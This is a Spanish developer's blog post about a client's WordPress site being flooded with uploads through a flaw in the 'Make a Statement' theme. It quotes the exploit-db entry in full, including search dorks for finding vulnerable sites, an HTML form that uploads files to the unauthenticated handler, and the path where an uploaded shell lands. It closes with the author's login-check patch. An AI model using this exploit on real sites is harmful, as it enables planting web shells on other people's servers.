vulnerabilidad - Carlos González Gurrea

Vulnerabilidades en nuestro gestor de contenidos

A vueltas con los virus, hace cosa de 8 meses, me llamo un cliente que sin motivo aparente se habia quedado sin espacio en la web.

Al entrar, me encontre que tenian miles de ficheros subidos a su carpeta wp-content/uploads. Como por fecha sabiamos que podiamos borrar, se elimino todo, se cambio la contraseña tanto del FTP como del WordPress y se dejo la web limpia, otra vez con espacio y todo funcionando.

Al día siguiente, revise de nuevo y otra vez se habia llenado la carpeta. El cliente no habia sido, ya que el no actualiza la web, de hecho no le habiamos dado ni la nueva contraseña. Su WordPress y todos los plugins estaban actualizados.

Me tocaba investigar el problema. Despues de revisar durante horas todo el fuente no encontraba donde estaba la vulnerabilidad.

Despues de buscar y buscar llegue hasta esta web. https://wpvulndb.com/, en ella estan todas las vulnerabilidades, ademas te detallan hasta como poder explotarla.

En mi caso el cliente usaba un tema llamado, Make a statement.

En el buscador de la web, meti el nombre del tema y zas, aparecio para mi sorpresa.

wpvulndb - Carlso Gonzçalez GurreaAl pinchar me aparecio una página con todos los datos del exploit. Me llevo hasta esta web https://wpvulndb.com/vulnerabilities/7433 y en las referencias el dichoso Exploit (https://www.exploit-db.com/exploits/29670/).

#Title : WordPress Make A Statement Themes CSRF File Upload Vulnerability
#Author : DevilScreaM
#Date : 11/17/2013 - 17 November 2013
#Category : Web Applications
#Type : PHP
#Version : 1.x.x
#Vendor : http://themes.mas.gambit.ph/
#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber
#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |
#Tested : Mozila, Chrome, Opera -> Windows & Linux
#Vulnerabillity : CSRF
#Dork : 
inurl:wp-content/themes/make_a_statement
inurl:wp-content/themes/make_a_statement_v1

CSRF File Upload Vulnerability
Exploit & POC : 
http://site-target/wp-content/themes/make_a_statement/library/includes/upload-handler.php
Script :
<form action="http://127.0.0.1/wp-content/themes/make_a_statement/library/includes/upload-handler.php" enctype="multipart/form-data" method="post">Your File: <input name="uploadfile" type="file" />
<input type="submit" value="upload" /></form>File Access : http://site-target/uploads/[years]/[month]/your_shell.php Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php

Hasta el formulario para poder subir cualquier archivo, virus, etc etc

Solución

Tenia que prevenir el uso del exploit, en mi caso modifique el archivo make_a_statement/library/includes/upload-handler.php, para que solo se pudiera utilizar en caso de estar logado.

if(is_user_logged_in()){
	if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile)) {
	  echo $uploadname;
	} else {
	  // WARNING! DO NOT USE "FALSE" STRING AS A RESPONSE!
	  // Otherwise onSubmit event will not be fired
	  echo "error";
	}
}else{
	echo "error";
}

Como veis no me aburría, siempre luchando con los clientes.
En otro post os contaré como hacer un traspaso de webs de clientes entre servidores, uno de los proyectos que estuve trabajando fue en la migración de más de 200 páginas de clientes, todas en PHP, pero cada una realizada de una manera distinta. PHP 4.2, Laravel, Code, CakePHP, sistemas propios, PHP´s sin sentido…….

Un saludo a todos, cualquier duda ya sabéis desde las redes sociales o desde el formulario de esta misma web

Vulnerabilidades en nuestro gestor de contenidos Modificado: mayo 22nd, 2018 por Carlos González Gurrea
1 estrella2 estrellas3 estrellas4 estrellas5 estrellas (1 votos, promedio: 5,00 de 5)
Cargando...

Centro de preferencias de privacidad

    Almacenamiento y acceso a información

    El almacenamiento de información o el acceso a información ya almacenada en tu dispositivo como identificadores de publicidad, identificadores de dispositivo, cookies y tecnologías similares.

    google.com

    Personalización

    La recopilación y procesado de información sobre tu uso de este servicio para posteriormente personalizar la publicidad y/o el contenido para ti en otros contextos, como otras webs o apps, con el tiempo. Habitualmente el contenido de la web o la app se usa para hacer deducciones sobre lo que te interesa, lo que define la selección futura de publicidad y/o contenido.

    google.com

    Selección de anuncios, entrega, informes

    La recopilación de información y la combinación con información anteriormente recopilada para seleccionar y presentarte publicidad y para medir la entrega y efectividad de esa publicidad. Esto incluye usar información recopilada anteriormente sobre tus intereses para seleccionar anuncios, procesar datos sobre qué anuncios se mostraron, con qué frecuencia se mostraron, cuando y dónde se mostraron y si llevaste a cabo alguna acción relacionada con el anuncio, como por ejemplo hacer clic en un anuncio o hacer una compra. Esto no incluye la personalización, que es la recopilación y procesado de información sobre el uso que haces de este servicio para posteriormente personalizar publicidad y/o otros contenidos para ti en otros contextos, como webs o apps, con el tiempo.

    google.com

    Selecciones de contenido, entrega, informes

    La recopilación de información y combinación con información previamente recopilada para seleccionar y presentarte contenido y para medir la entrega y efectividad de ese contenido. Esto incluye el uso de información recopilada anteriormente sobre tus intereses para seleccionar contenido, procesar datos sobre qué contenido se mostró, con qué frecuencia o durante cuánto tiempo se mostró, dónde y cuándo se mostró y si llevaste a cabo alguna acción relacionada con el contenido, como por ejemplo hacer clic en contenido. Esto no incluye la personalización, que es la recopilación y procesado de información sobre el uso que haces de este servicio para posteriormente personalizar contenido y/o publicidad para ti en otros contextos, como webs o apps, con el tiempo.

    google.com